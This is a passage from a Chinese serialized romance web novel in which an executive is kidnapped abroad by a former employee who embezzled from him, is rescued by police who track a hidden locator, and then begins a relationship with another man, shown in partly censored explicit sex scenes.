每年只有一两个月这样会回到国内。 说是嘴馋, 要回去进货国内美食。 时臻潭学的是建筑设计,可实际上步入社会后选择的谋生方式却专业不对口, 具体是什么方霁也不清楚,只知道他侦查能力和电子信息技术方面很强,平时会接一些调查和找人的私活。 “不好意思来晚了,没等太久吧?” 出现在方霁面前的人身披一件复古款式的牛仔外套,布料略显磨损,但洗得发白的部分反而增添了几分随性的粗犷魅力。外套上的金属扣与拉链反射出冷冽的光芒,下身则是宽松的工装裤,色调与外套相呼应,裤脚随意地卷起,露出一双干净利落的运动鞋。 发丝微乱,几缕刘海随意垂落,遮挡着眼睛的一部分轮廓,却丝毫不影响他眼神中流露出来的自信与锐利。整个人透着一种难以言喻的痞帅气质,令人无法忽视。 咖啡馆的墙面有四分之一是玻璃质的透明式设计,正对着热闹的白鸽广场。方霁坐着的位置正好可以看清外面的情形,早在时臻潭朝咖啡馆这边走过来时便认出他。 两人都不是热衷进行表面寒暄维系关系的人,没有客套,直入正题,双方默契一如往昔。 “你让我找的这个人,关于他在这里的居住地址、人际关系、消费记录,包括近期出入过哪些场合我都给你查清楚了,就在我给你发的那份线上文件里面。” 说来还真是凑巧,世界上那么多地方可供选择,杨氨偏偏就选中了S国。时臻潭在这边的居住时间将近十五年,人脉广泛,大大缩短了他们的调查难度。 方霁已经大致阅览完,“嗯,我刚刚看了,辛苦你们帮忙。” 时臻潭摆了摆手,“都是兄弟,客气的话就不用再说了,举手之劳而已。” 接着面露疑惑:“不过,他都把你公司坑得那么惨了,你怎么还甘心憋着这股气不撒,这都快半年了吧?要不是你说还不到时候,上回我就带人冲上去将那王八蛋绑了,要是能识相点答应自首最好,不答应那就揍到他点头。” 方霁露出一个意味不明的笑,“谁说我憋着不撒的。” 他转而问:“S国绑架算犯法吗?” 时臻潭一愣,以为他这是为自己着想,还挺意外:“就因为这?” 根据国内《刑法》第二百三十九条规定,以勒索财物为目的绑架他人的,或者绑架他人作为人质的,处十年以上有期徒刑或者无期徒刑,并处罚金或者没收财产;情节较轻的,处五年以上十年以下有期徒刑,并处罚金。 S国在这一点上的律法与国内相同。 “看不出来啊,原来你这么为我考虑。” “得了吧,我可不是因为你才暂时放他继续潇洒几天的。”方霁无情道:“他现在是在国外,依据国际法原则,我国警察无权直接到国外抓捕犯罪嫌疑人,就算两国之间有引渡条约在,也得师出有名。” “我是在想怎么简化问题,毕竟牵扯到跨国的事情处理起来都挺麻烦的。”在杨氨这件事上,他的出发点一直都是以确保公司利益为先。 时臻潭呵呵了两声:“我就知道,你还是那个没良心的家伙。” 方霁倒是没反驳,端起面前的咖啡小抿了一口,这次加了方糖,变得好入口许多。 “那你后面打算怎么办?”时臻潭的视线落在方霁的动作上,对他的讲究和斯文表现出嫌弃。 “对了,还有个事情要告诉你,兴许能作为你起诉的一个有力证据。这犊子最近好像在投资一个非法走私的项目,成本低,利润大,很有可能干完这票就又换地儿。”- 郊区,一条看似寻常的柏油路延伸至黑暗深处,两侧稀疏的路灯在夜色中投下昏黄而脆弱的光圈,间隔之间则是大片的漆黑,仿佛藏着无数双窥伺的眼睛。 时臻潭敏锐察觉到异样,通过车内后视镜捕捉到一辆白色别克GL6的跟踪迹象。 起初他还试图说服自己可能是巧合,直至驶出闹市,路上车辆减少,几乎无人可再混淆视听,那辆车依然如影随形,其目的昭然若揭。 “妈的,后面那辆车盯上咱们了。”时臻潭低声咒骂,握紧了手下方向盘。 “要不要停下?”他询问方霁的意见。 月光时隐时现,云层间的游戏让这片区域忽明忽暗。 “先不停,试着甩掉。”方霁道。 他自然也看到了那辆白色轿车,观察坐在驾驶座上的人,其身形装扮大概率是个男人。 可惜对方早有预谋,戴着口罩,看不清全脸。 现在对方的意图不明,贸然停车太过危险。 “没问题,交给我。”时臻潭深吸一口气,脚下猛加油门,引擎轰鸣,车子如箭离弦般窜出。借助多年来在此地生活的经验,左突右闪,十分钟后,成功消失在白色别克的视线之外。 时臻潭确认将对方甩掉,平稳地降下了车速。 “你在这里惹了仇家?”方霁注意到他脸上难掩的兴奋。 S国对枪械的管理相对宽松,并不命令禁止当地居民购□□支弹药,这也意味着生活于此,必须时刻提防突发暴力事件。 “嗯,干事的时候确实惹上了那么几个。不过你不用担心,不会牵连上你。”时臻潭咧嘴一笑,略带戏谑地道:“方总要是真害怕的话,一会回去我就给你安排两个贴身保镖轮班守着你。” 方霁听出其中的揶揄,冷哼一声,却没有流露出生气的神情,反唇相讥道:“你还是先想想怎么保住自己的小命再说吧,死人没有任何话语权。” 他既然敢主动找时臻潭帮忙,就做好了承担相应风险的心理准备。 “当然,如果你有需要,我也可以反过来在能力范围内帮你。” 时臻潭哈哈笑了起来,趁机道:“行啊,那事成之后你多给我点钱呗,我最近挺缺这玩意的,要不是接了你这一单,怕是连饭都吃不起了。” 方霁没中套,淡淡道:“看你工作表现,我不给没用的人发钱。” 时臻潭嘀咕了一声“万恶的资本家”,专注开车。 只是他们这回都掉以轻心,同时也猜错了,对方不是冲着时臻潭来的,而是刚落地不到二十四个小时的方霁。 就在车辆即将驶入下一个十字路口时,一辆等候多时的深蓝色轿车从左侧加速冲了出来。 拐角的视野盲区降低了时臻潭的反应速度,他连忙踩下油门,企图通过加速躲开对方的撞击,然而还是慢了半步。 砰—— 对方的车头正面撞上他们的车身。 巨大的冲击力之下,轮胎摩擦沥青地面发出尖厉的啸叫,随即失控地撞向路边的隔离护栏。钢与铁交锋,车身剧烈摇晃,碎片四溅,引发油箱泄漏,汽车尾部的烟尘腾起,火光冲天。 方霁挣扎着维持清醒,奋力推开变形的车门。扭头目睹驾驶座上陷入昏迷的时臻潭,急切地想要施救,却被突如其来的眩晕击溃,双腿一软,身躯直挺挺地跪了下去。 操。 赶在意识陷入混沌的边缘,方霁转换方式,艰难地掏出手机,手指颤抖着解锁屏幕,正要拨打当地报警电话。 贺知行的电话早不打来晚不打来,偏偏在这个时候插了进来。 意识开始出现涣散,方霁咬紧牙关,只好强撑着身体滑动接听键。 “方霁?” 熟悉的声音从手机内传出来,方霁张了张嘴,嗓音沙哑,勉强挤出字音:“贺知——”却被突如其来的剧痛打断。 手指遭受狠辣地踩压,冷汗从额前皮肤上渗出,关节处似乎马上不堪重负,发出细微的抗议声。 那人面目狰狞,蹲下身来,毫不掩饰心中的恶意。手机被粗暴地夺走,通话戛然而止,仅留下空气中冰冷的沉默。 方霁抬起眼,最后一瞥中,眼帘中映照出一张永生难忘的面孔,伴随着挑衅的问候。 “方总,好久不见。” 第66章 第 66 章 哗啦—— 昏暗的地下仓库, 冰冷的水浪猛然倾泻而下,击打在方霁身上,强行唤醒了他的意识。 水珠沿着棱角分明的脸庞流淌至坚实的胸膛, 刺骨的寒意让他的身躯不禁战栗。睁开眼, 眼前的世界逐渐清晰,发现双手被无情地固定在椅背, 宛如困兽。 冰块在他腿边一点点融化, 散发出阵阵寒气。 或许他该庆幸现在不是冬天, 否则这一盆冰水下来,就不只是现在这么简单。 对面的男人透过一副墨镜, 注视着浑身狼狈的方霁,颇为满意, 嘴角挂上胜利者的微笑, 缓缓开口道:“方霁, 我也算跟了你六年, 何至于咄咄逼人于此, 给彼此留个体面不好吗?” “体面?”方霁挑着眉,嗤笑道:“杨氨, 你有资格跟我提这个吗?” 男人被拆穿了身份也不恼, 现在方霁是砧板上的鱼肉,他才是那持刀主导一切的人。 方霁的话像寒冰, 冷峻异常:“在你私自挪用公司资金、借用职务便利牟取暴利时,怎么不想想所谓的体面?” “我一向睚眦必报,你跟我这么久, 应该不会不知道我是一个什么的样人吧?” “当然。”杨氨从角落拖了一张椅子过来, 在方霁对面坐下,随后摘下脸上墨镜, 露出那双曾被方霁视为忠诚标志的眼睛。 光线虽然昏暗,但仍足以让方霁看清其中的复杂情感——怨恨与贪婪与交织在一起,构成一幅人性的丑陋画卷。 方霁同时打量着周围环境,心想这里大概就是时臻潭跟他说的地方。 “这个世界很残酷,方霁。”杨氨的语气变得严肃,“权力、财富,这些都是诱人的陷阱。” 空气中弥漫着淡淡的机油与金属腐朽的味道,混合着潮湿与尘土。巨大的梁架上布满了厚重的铁锈,机械的轰鸣声从上方遥遥传来,仿佛古老的巨兽在呼吸。 方霁的视线锁定在杨氨的身影上,回忆起过去,心中一时五味杂陈。 “你不觉得亏吗?本来你放过我,放手这件事,我们从此井水不犯河水。” 杨氨徐徐道:“你可以在方天继续做你高高在上的总裁,而我在国外过我的日子,不再给你找任何麻烦。” 微弱的白炽灯映照出仓库的轮廓,广阔而幽深。此刻他们正处于整个仓库末尾最隐蔽的位置,除了他们再没有第三个人。 方霁这回是真觉得好笑,反问道:“你见过一个警察跟杀人凶手井水不犯河水的吗?” “这才离开方天多久,小脑就发达到将大脑的地儿都占了,看来我得打电话给你颁个医学奇迹奖。” 不是所有的事情都可以通过退让解决,正如警察与犯人永远站在对立面,法律的权威不容挑衅。 “没关系。”杨氨神色扭曲,眼中闪现疯狂,“既然方总如此固执己见,就在这里待一辈子吧。” 他从椅子上站起来,唇角微微上扬,形成一道弧线:“没了你,我的日子兴许能够过得更加舒坦些。” 方霁识破对方的意图,目光交汇处火花四溅:“你要杀我?” “你就不怕背上人命,今后要东躲西藏一辈子?” “我早就犯法了,还差这个嘛!”杨氨的神情逐渐狰狞起来,“我知道你们在调查我。你不会以为只有你在关注我的动向,我就没有留人在国内盯着你吗?” “这里可不比国内,从你下飞机的那一刻起,你的所有行踪就已经在我的掌握中。反正我原本做的事情就够吃牢饭,如果真有一天得进去,能拉上方总,似乎挺划算的。” 方霁面色凝重道:“杨氨,你疯了。” 杨氨的眼睛眯起,一种诡异的笑容在他脸上扩散开来:“别怪我方霁,要怪就怪你自己一开始信错了人,又非得将我逼到走投无路。” 杨氨从裤袋中掏出事先准备好的枪支,漆黑的洞口瞄准方霁所在的方向。 “放心,看在你曾经是我老板的份上,我会给你留一个全尸的。” 就在杨氨即将扣动手中的扳机之时,仓库的大门发出剧烈震动,紧接着是密集的撞击声与警笛的尖啸,划破了寂静。 特警队员们身着黑色战术服,如黑豹般敏捷地闯入,形成严密的包围圈,手中的武器稳稳对准了杨氨。 “警察!放下武器!” 站在最前方的是时臻潭,额头上缠绕的纱布显得格外醒目。他的声音铿锵有力:“这里已经被我们彻底封锁,杨氨,投降是你唯一的出路!” 整个变故仅发生在瞬息间,杨氨眼中闪过一丝难以置信,呢喃道:“为什么……这地方明明不可能有外人找到。” “因为你话多。”方霁听见他的呢喃,嘲道:“下辈子多看点电视,吸取教训吧。” 杨氨闻声猛地回过头,后槽牙咬得咯咯作响,道:“是你搞得鬼。” 方霁没承认但也没否认,那双似笑非笑的桃花眼从他身上轻轻扫过,最后落在不远处时臻潭身上,看到他还能站在这里,心底不免松了一口气。 “你说你派了人盯着我,但你的人应该没有告诉你时臻潭是做什么的吧?”否则早在将他绑来这里时,就该先对他进行全身搜查了。 杨氨看向他的目光恍若要化为实质:“你究竟做了什么手脚。” 方霁叹了口气,他是真的很疲于跟这种蠢货浪费口舌,“谁说只有手机有定位功能?” 在咖啡馆见面时,时臻潭就给了他一枚微型定位器,兼顾录音通讯功能,就放置在他耳后的头发下。 也好在车辆遭受撞击时这东西没有掉出去。 说实话,方霁是第一次使用这种定位器,过去他最多只在电视上瞧见过。但他知道S国的危险系数更高,以杨氨狗急了容易跳墙的性格,还真说不准会不会对他做出些什么。 这不,就拿枪对着他了。 要说完全不害怕是不可能的,但这个时候越是自乱阵脚,只会死得越快。 “原来如此。”杨氨的手指压上扳机,嘶吼道:“那你就跟我一块去死吧!” 方霁瞳孔一震,视野中,子弹伴随着火舌的炸开从枪□□出。 砰——! 枪声撕裂了空气,回荡在整个仓库内- 霓虹灯在S国的街头巷尾绽放,为这座国际都市披上一层神秘而迷人的面纱。高楼大厦鳞次栉比,玻璃幕墙反射着绚烂的色彩。 “先进去洗个澡放松一下吧。”贺知行刷开酒店房间的门,体贴地拿起干净的毛巾和浴袍,准备递给方霁。 房间里摆放着一只尚未收拾的行李箱,昭示着这个房间是提前定好的。 方霁一路上就憋着股火,此前有外人在,才一直隐忍着不便发作。他没接贺知行递过来的物品,关上门,劈头盖脸地甩出质问:“贺知行,你是不是活得不耐烦了!” “到底为什么非要跟到S国来!” 杨氨手上有枪,要是警方的动作再慢一步,现在脑门上开花的就是他贺知行。 贺知行对于方霁的愤怒并不意外,因为他擅自跟随而来,确实未曾与对方商量。 他将手中的物品轻轻放回原处,神色沉稳地说:“那你难道希望我袖手旁观,眼睁睁看着你陷入危险之中而不顾吗?” “方霁,我做不到。” 一开始他并不知道方霁来此的真正目的,只以为是普通的出差。 但他还是协调了工作上面的安排,在送方霁登机后,立即订了最近一班的机票。 他的手机在飞机上一直处于关机状态,等下了飞机,才发现方霁打来的两个未接电话。 他本想先回复方霁的消息,结果刚走出机场,他的手机就被一名大胆的小偷夺走。经历了报警求助、追踪监控、追捕嫌犯等一系列波折才成功找回,随即立刻联系方霁。 而正是那通电话,让他发觉事态的不对劲,报了警,又在途中遇到目的相同的时臻潭。 “我不后悔刚刚冲上去,就算再来一次,我还是会选择这么做。”他的语气坚定,眼神热烈而深邃,如同蔚蓝大海中最清澈的部分,“我无法容忍看你受伤害。” 他明白自己的行动可能带来的风险,但在危急关头,他其实想不了那么多,本能比理智先一步驱使他冲上前去。 他知道,如果当时没有这么做,方霁可能会受伤,甚至是丧命。 此刻,两人都平安无恙,他很庆幸。 方霁气得握紧双拳,死死瞪着他,有片刻说不出话来。 他不知道摊上贺知行这么个家伙究竟是一件幸事还是不幸,但他可以确定在看到贺知行冲上来的那一刻,他是真的害怕了,犹如一把利剑,狠狠捅在了他的心窝上。 “你以为我就能吗?”方霁的声音低沉,包含了太多复杂的情感。 他之所以隐瞒此次行程,初衷就是为了不让贺知行卷入其中。结果在他登机没多久,这个混蛋紧跟着就追了过来。 他怕极了贺知行再出事,就像当初面对人贩子那样。 要是贺知行真死在这里了怎么办? 他不敢去想象,更无法去接受。 方霁心中翻腾不已,思绪如同汹涌澎湃的海浪,一波未平一波又起。 或许他比自己以为的更加在乎面前这个人,或许……他是喜欢贺知行的。 为什么他直到现在才看清这一点? “贺知行,你他妈的简直是个不折不扣的混蛋。”他是想让贺知行帮他摆脱创伤后应激障碍的,没想到对方这么有本事,还给他一并掰弯了。 过去,他没谈过任何一场恋爱,而今后,他已然无法回头,再去找任何一个异性。 房内窗帘半掩,窗外的月光与街灯交织成一幅迷蒙的画面,投射进室内,勾勒出一个个变幻莫测的图案,一切都被染上了银灰色的基调。 半晌,方霁突然道:“做吗?” 贺知行的眸光重重一顿,思维变得迟钝,一瞬间不敢轻易给这句话的意思下定论。他望着方霁,努力想要捕捉对方眼底的每一个微妙变化。 “什么?” 方霁深吸一口气,上前一步,缩短了两人间的距离。他的目光直视贺知行,眼神中既有决心又有某种暗示。 “我现在给你一个机会,来艹我。” 第67章 第 67 章 两人一起挤进了浴室, 衣服早在玄关接吻的时候就脱了,全身上下只剩下一条内裤。 贺知行将方霁压在浴室的瓷砖墙面上,后背很凉, 冷硬的触感让方霁忍不住打了个寒颤。 仿佛是为了抵抗这份突如其来的寒冷, 他们吻得更加热烈,彼此的唇齿交错, 就像是两股清泉汇聚一处, 产生了更加浓郁的情感涟漪。 “……之前我没有告诉你我产生心理障碍的原因, 现在我告诉你,你听吗?”方霁抬眼看向他, 手指不自觉握紧。 这是他第一次对人提起这件往事,甚至连他的父母他都不曾透露过。 贺知行和在玄关时一样, 愣了一下, 但很快调整好, 以一种珍视而虔诚的神态望着他:“嗯。” “其实我七年前就来过S国, 那时候为了图方便, 自己单独租了房子住。结果位置没选好,有个家伙盯上了我, 某天假装是邻居来敲门, 趁我不备将我打晕,绑到了一个鲜少有人涉足的地下室。” 贺知行知道方霁曾在大学毕业后到国外待了一年的事, 那时候的他则选择了留在国内,直到方霁回来他们才重新遇上。 “最先发觉异样的是我一个朋友,因为一直联系不上我, 就报了警。” “等警方赶来时, 已经是第七天。那个人因为反抗过激,被当场击毙, 就死在我的面前,脑浆喷溅出快两米远。” 那七天,足够将一个意志强大的人折磨到崩溃,也足以让方霁患上长达六年的创伤后应激障碍。 虽然方霁没有提到那七天究竟经历了什么,贺知行仍然通过种种迹象猜到了,心中涌起一股难以名状的痛楚。 如果当年他追上了方霁,是不是就不会变成这样? 方霁对上他的视线,心脏仿若被什么紧紧揪住。他深吸一口气,挑起一边眉:“可怜我?” “不是。”贺知行当即否认道,捏住他的手指,轻轻分开,放到了自己的心口上,喉结慢慢滚动:“是心疼。” 方霁这样的人,永远不需要来自另一个人的可怜或同情。 方霁感受到手下强而有力的心跳,蓦地笑了,重新吻上来。 “再亲一下。” 那七天或许将成为他一生无法磨灭的记忆,可往后,不再是束缚他前行的枷锁。 贺知行正是那把钥匙。 浴室的壁灯晕开一片暖光,贺知行的手指滑入了方霁的十指间,压在他头两侧。水流从他们中间浇头淋下,两条猩红的舌尖沾着水,相互纠缠、追逐、吮吸,发出的啧啧声响淹没在哗啦啦的淋水声中。 发梢滴落的水珠沿着颈线、胸膛,直至腹部,留下一串串透明的痕迹。 分开时,两人皆喘着粗气,四目相对,空气里流淌着不可言喻的电流。 他们的身体紧挨在一起。 “怎么不继续了?”方霁见他突然停下,露出不解,眼底浓重的热切不加掩饰,似乎下一秒就要满溢出来。 贺知行同样看着他,那张素来禁欲又冷淡的脸上出现了一丝难得的波动。 哪怕是和方霁接了吻,他还是感觉一切太过不切实际,就像一场虚幻的梦,怪他陷得太深才无法清醒过来。 “为什么是今天?”贺知行终于开口,问出心底疑虑。 方霁告诉过他,说自己是直男,不会跟另外一个同性上/床。就算是后面他以帮忙进行脱敏治疗为由,方霁也多次声明了两人之间应该保持的界限。 为什么现在突然转变了想法? 是因为…… 方霁猜到他心底想的什么,给出明确回答:“不是出于愧疚和补偿,跟所谓的脱敏治疗更没有半点关系。” 贺知行这个人其实很好看懂,他的欲/望太粗/暴直白了,无论是在事业上亦或感情上的,都有迹可循。 “你不是一向很聪明吗?现在究竟是在装傻还是真傻?” 贺知行接不上话。 方霁并不恼,须臾,嘴角微不可察地勾了勾,嗓音里隐匿着拨雨撩云的引/诱,“我喜欢上你了,你听得懂吗?” 他觉得好笑,不仅是笑贺知行竟然无所察觉,更笑自己在这件事上的反应迟钝。 试问哪个直男能毫无芥蒂地跟另一个男人滚到床/上去,以及接吻? 除非这个直男弯而不自知。 用嘴骂你的是兄弟,用嘴亲你的是男同。 浴室内的瓷砖在水汽的氤氲下,散发着淡淡的冷色调光泽,给人一种冰冷而洁净的视觉效果。 想通这一点的方霁感觉整个人都轻松了不少,“贺知行,你之前说喜欢我,还作不作数?” 他想,要是这个人的回答令他满意,哪怕只是一个字,今晚贺知行想对他做什么都可以。 墙上挂着的金属挂钩反射出点点寒光,与外面世界的喧嚣截然不同,这里仿佛是另一个时空,只属于两个人的秘密领地。 贺知行没有回答,而是微微低下头,覆盖住方霁的双唇。这个吻起初轻柔,方霁一怔,主动放了他进来,随后逐渐加深。 周围的一切都变得模糊起来,唯有彼此的气息与体温是最真实的感受。贺知行的大手环抱住了方霁的腰际,力道适中,既充满占有欲,又不失温柔体贴。 方霁同样伸出双手,环上贺知行的颈项,唇舌间的索求谁也不输谁。 嘴唇发红、发麻。 浴室内的温度在不断攀升,分不清究竟是水温的缘故还是被满身□□烧的。水流从他们身上不断冲刷下去,似乎能够洗涤所有的纤尘,连这原本肮脏的rou/体/欲/望都变得纯粹干净。 “永远作数。”贺知行的声音低沉,富有成熟男人特有的性感与磁性。 方霁气息不均地骂他:“先上车后补票的王八蛋。” 半个小时后,两人从浴室滚到了床/上。身体是擦干的,头发却还是湿的,一沾被子,在雪白上洇染开一片深色水迹。 “要先吹头吗?”贺知行问,手指缠上他一截湿润的头发末端。 方霁笑道:“算了吧,我怕你憋不住。” 等两个人吹完,起码得二十分钟后了,且不说贺知行到时候还有没有那个精力继续,反正他是嫌麻烦,兴致跟着大大减半。 “反正一会要重新洗澡,到时候再一块吹。” 贺知行听他的,一只手掌握住他的肩膀,又压着人吻了下去。 S国对于性/物品并不避讳,酒店的房间内配备有安/全/套和润滑油,就放在床头柜的收纳盒中。 情烈之际,贺知行顺手拿过Condom,却在看到上面的规格时顿住了。 方霁好不容易得了喘息的间隙,看到他一脸难色的神情,问:“怎么了?” 贺知行露出少许无奈:“大小不合适。” 两人都没想到今晚的发展,所以没有另外购置合适的Condom。 方霁闻言,视线不自觉下移,好好审视起来。 贺知行那里…… 确实比平均水平要高出一筹。 直至此刻,他才想起来去思考一个非常重要的问题:这玩意真能进来吗? 方霁生出些许悔意,心道不应该如此草率就决定了两人的位置关系。 贺知行凝望着他,似乎在等着他给出回答。 方霁一咬牙,豁出去了:“没事,今晚不dai也可以,你别S在里面就行。” “你应该知道怎么做吧?”方霁说这话时表情多了几分不自在。 “你要是敢把我弄出血,这辈子往后都别想再碰我。”方霁撂下了话。 贺知行将Condom放回收纳盒,改拿润滑液,撕开最外层的包装。 …… 手指摸上来,方霁倏然生怯了,但他仍旧竭力克制下躲避的本能,抓住贺知行的手臂,再次提醒道:“不许弄伤我。” 他不怕疼,却并不代表着他喜欢疼。 “好。”贺知行向他保证,动作用温柔似水来形容都不为过。 ……- 结束后,贺知行抱着他进入浴室,两人一块重新洗了澡,吹干头发。 贺知行打电话给前台,要了新的被子和枕头。 方霁就坐在不远处的单人沙发上,抓了抓被吹风筒吹得边缘有些翘起的短发,看贺知行在床边忙前忙后,并不打算帮忙。 他又不是神仙,给贺知行操成这样,还能清醒着坐在这里已经很不错了。 贺知行将床全面换了一遍,走过来,准备像刚才将人抱进浴室那样再去抱方霁。 方霁看穿他的意图,拒绝了:“不用,我自己过去。” 就这几步路而已,何况他不喜欢被另外一个男人用公主抱的姿势。 贺知行说“好”,就在他后面注视着他。 方霁的走路姿势略显僵硬和奇怪。 做得时候力道没把控好,他的腰窝还有腿上到处是紫红色的手指印,腿根和屁股更是重灾区,不知道的还以为是经历了一场虐待。 …… 贺知行的眸色渐渐深沉,赶在起欲前强行挪开了视线。 今晚已经做得够多了。 但其实方霁没觉得有多疼,当然,除了下面。 两人一起躺上床,贺知行熄了灯,房间里仅剩下窗外钻入的星光与月华。 方霁依然不太习惯睡觉时身边多个人,背对着他。 他们都不是会说甜言蜜语的性格,事后没有太多温存。 漆黑中,他们之间的距离不再像在乌什湾村时那样遥远,而是前胸贴着后背,两心相靠。 “疼吗?”贺知行的手轻轻环上方霁的腰,担心他忍着难受,关切道:“我下去给你买药。” 方霁由着他的动作,懒懒地闭着眼睛,“这都快凌晨四点了,药店早就关门,就别再折腾了。” “快睡吧。” 第68章 第 68 章 两人睡在一张被子里, 相抵而眠,一直到下午快黄昏的时候才醒过来。 准确来说不是自然醒的,而是被手机铃声吵醒的。 方霁通过铃声特征, 判断出那是自己的手机在响, 手臂条件反射似的从被子底下探出来,摸上床头柜, 直至拿到手机才坐起来。 睁开眼一看屏幕, 是时臻潭打来的电话, 紧接着才注意到最顶端显示的时间。 “喂?怎么了?”一开口,嗓音里尽是干涩和沙哑。 方霁下意识用另一只手摸了摸喉结的位置, 将手放下时,就看见手臂上密密麻麻的牙/印, 深浅不一。 或许他此刻全身上下只有三个位置是完好无损的, 一个是脸, 一个是他努力护住的脖子, 还有一个就是脚底板。 “你声音怎么了?昨天回去没睡好吗?”时臻潭问, 几乎立刻就听出其中的怪异。 从手机中传出来的声音尚且经过了一层机械“过滤”,可想而知线下究竟会哑成什么样。 方霁懒得再去细想解释, 顺着他给自己找的理由台阶下, “嗯,睡晚了。” 他这话严格来说不算骗人, 凌晨四点,可不就是睡晚了么。 他上一次捱到这个点睡还是读大学的时候,和同学到外面的游戏厅疯玩, 一群人差点没猝死, 在商城的按摩椅上倒头就睡。 时臻潭想了想,昨天发生的事情确实挺多, 国内的普通人大概一辈子都接触不到枪支和这种情况,睡不着也正常。 “找我什么事?”方霁问。 “哦,是这样的。”时臻潭切入正题道:“杨氨那件事已经决定移交至国内警察和法院审判,这几天就会走完相应流程,然后遣送回去,到时候算上挪用公司资金和非法走私的事,够他吃一辈子的牢饭了。” “这样一来,你也不用担心他哪天会出狱再来报复你了。” 方霁听到一半时,突然感到腰/腹一紧,低头一看,是贺知行的手环了上来。一头浓墨色的短发挨着他的腰和半边屁/股,扎得他有些痒。 人没醒,完全是一种睡梦中出于本能的反应。 如果他没记错的话,贺知行昨晚抱着他睡了一夜,好似将他当作了一个等身抱枕或者巨型玩偶。 他觉得贺知行当初否认自己有皮肤饥渴症那句话,十之八九是假话。 方霁没有推开他,而是去□□他的手指,一边听电话那头的时臻潭转述要事,一边把玩着,就跟上学听课时百无聊赖地转笔一样。 贺知行的手掌宽阔,既有岁月磨砺的痕迹,又不失细腻之处,大拇指和中指上的茧子比较厚,手心处则干燥而温暖。 方霁捏到他的中指,想起什么,尝试将贺知行的三指并拢在一起,在看清宽度后晃了一下神。 所以昨晚上他那里…… 被撑得这么大? 这居然都没有坏掉,方霁对人体的极限感到不可置信。 “方霁?”时臻潭说完了,等了片刻都没有听到对面传来动静,“你还在听吗?” 方霁强迫自己挪开视线,“嗯”了一声。 “我听见了,辛苦。” “小事,记得加钱就行。”时臻潭没忘了在车上时跟他的对话,“虽然谈钱伤感情,但是不谈钱没感情。” 方霁这回倒是很快骂了他一声,“银行卡号记得发我。” “得嘞,我就喜欢跟方总这样的爽快人合作。要是再有需要,欢迎回购啊,看在朋友一场的份上我给你打八折。” 方霁心想大概率不会再有第二次了。在一个地方跌倒可称之为意外,要是在同一个地方跌倒两次,那就是蠢了。 “话说,你怎么一点也没有大仇得报该有的高兴?” 方霁轻笑一声,抬起头缓缓道:“因为我相信,邪不胜正。” 时臻潭一愣,随后跟着笑了:“你当初怎么不报考公安类专业?说不定现在连警督都混上了。” 方霁听出对方话语中的揶揄,道:“我要是真当了警察,第一个抓的就是你。” 他不了解时臻潭具体在从事什么工作,却清楚一定涉及在法律边缘徘徊的灰色产业。 方霁知道与这样的人为伍很危险,稍有不慎就可能殃及自身,但时臻潭的人品他信得过。 两人又随口聊了几句无关紧要的话,最后这通电话以时臻潭要去陪女朋友吃饭结束。 方霁挂断电话,一扭头,就见贺知行不知何时醒了,正眼神幽幽地盯着他手机看。 这画面简直太过熟悉,方霁觉得好笑:“又吃醋呢贺总?” 空气中弥漫的醋味浓得方霁感觉自己都快跟着腌入味了。 贺知行坐起来,直认不讳:“嗯。” “又是哪个男人?” 一醒来就是兴师问罪,方霁啧了一声表示不满。但为了避免不必要的误会,还是将如何认识时臻潭到找他帮忙的事,一五一十详细地告诉了贺知行。 “……事情就是这样,我们真的是纯友谊,他还有个谈了两年的女朋友。” “另外,麻烦您下次开口前,多斟酌斟酌中国文化博大精深的语言文字。” 方霁说到最后一句时将头扭了过去,去放手机:“我现在就你一个男人,别一天到晚乱往自己头上安绿帽。” 贺知行听到“女朋友”三个字时,就暂时将时臻潭从情敌列表中剔除了,听到最后一句,更是从身到心都十分受用。 他掀开被子,从床上下去。 房间内没有配备饮水机,但有一个可以烧水的铁壶。 贺知行不敢保证其卫生性,最终没有选择使用,拿了一瓶新的矿泉水,拧开瓶盖,递给他。 “这里没有热水,嗓子干得难受的话先喝一点矿泉水润润吧。” 方霁后半夜叫得太狠了,又出了那么多汗,嗓子肯定会不舒服。 “算你还有点良心。”方霁接过,一次性灌了好几口。放下塑料瓶时,余光瞥见贺知行的左臂,将人招到了面前来,不禁眉头轻蹙。 “你这里是怎么回事?” 贺知行的左臂上俨然有一片淤青,形状不规则却异常醒目,颜色由边缘的淡青渐变为中心的深紫,仿佛暴风雨过后的乌云压顶。 在多年克制的欲望一朝得以释放的情况下,他们昨晚上做得是疯狂了些,方霁身上到处是吻/痕和手指印,贺知行身上同样有不少方霁留下的抓痕。 但方霁可以确定,他没有在这块位置留下任何东西。 而且这看着不像是做/爱时产生的痕迹,反倒更像是某种撞击下导致的外伤。 因为常年健身,贺知行练就了一副皮糙肉厚的结实身体,加上一些先天基因,皮肤表面不似方霁那么敏感,不会第一时间就显印。 “是扑倒杨氨那个时候受伤的?”方霁猜测道,除了这个可能性他也想不到其他的了。 贺知行扫了一眼自己的左臂,昨晚上还没有,要不是方霁提醒,他都没发现这里青了一片。 “没事,皮外伤。” 方霁当然看出来了,没有破皮出血,但那淤青颜色很深,肯定不好受,他心疼。 “这个房间里有没有药?” 贺知行第一反应是昨晚的事,还以为他是哪里不舒服,俯下身,要去掀开被子检查。 直至一只脚踝被握住,方霁才意识到对方是误会了他的意思,“我是说给你上药!” 方霁挣扎了一下,试图将腿收回来,谁知却用力过猛,牵扯到某个使用过度的地方,没忍住发出一道轻嘶。 一晚上六次,又是一场旷日持久的拉锯战,是个人都受不了。 方霁不由得庆幸,好在他年轻,身体素质各方面都不错,否则真得死在床上不可。 贺知行听见那细微的抽气声,更加坚定了要给方霁检查的决心,将他的腿分开。 本来昨晚睡觉前就想先给他看看的,但方霁不肯,催促他快睡,只好暂时作罢。 两条白皙修长的腿从中间向两侧打开。果不其然,虽然没有撕裂,但肿了,周围一圈都是红的,中间仍旧无法完全缓过来合拢,张着个笔头大小的口。 “昨晚应该先上些药。”贺知行的语气里带着几分无奈与懊悔。 如果及时上好药,兴许就不会肿得这么厉害了。 “这有什么?”方霁的手肘压上一只膝盖,手掌撑着下巴,姿态随意又轻佻,好似对此并不在意:“我昨晚不是说了,可以做到让我下不了床。” 再说当时那个点哪里还有药店开着门,他更不想看着贺知行从他面前离开。 至于昨晚上为什么会有这种强烈的情绪,方霁自己也想不通,姑且将其归为人与人之间产生亲密接触后的一种生理性依赖。 他用脚尖去碰贺知行的腹部,“我现在还能动,贺大总裁是不是应该反思一下,昨晚上是不是不够努力?” 贺知行微微一怔,他以为那句话只是床上用来增添情/趣的,没想到方霁是认真的。 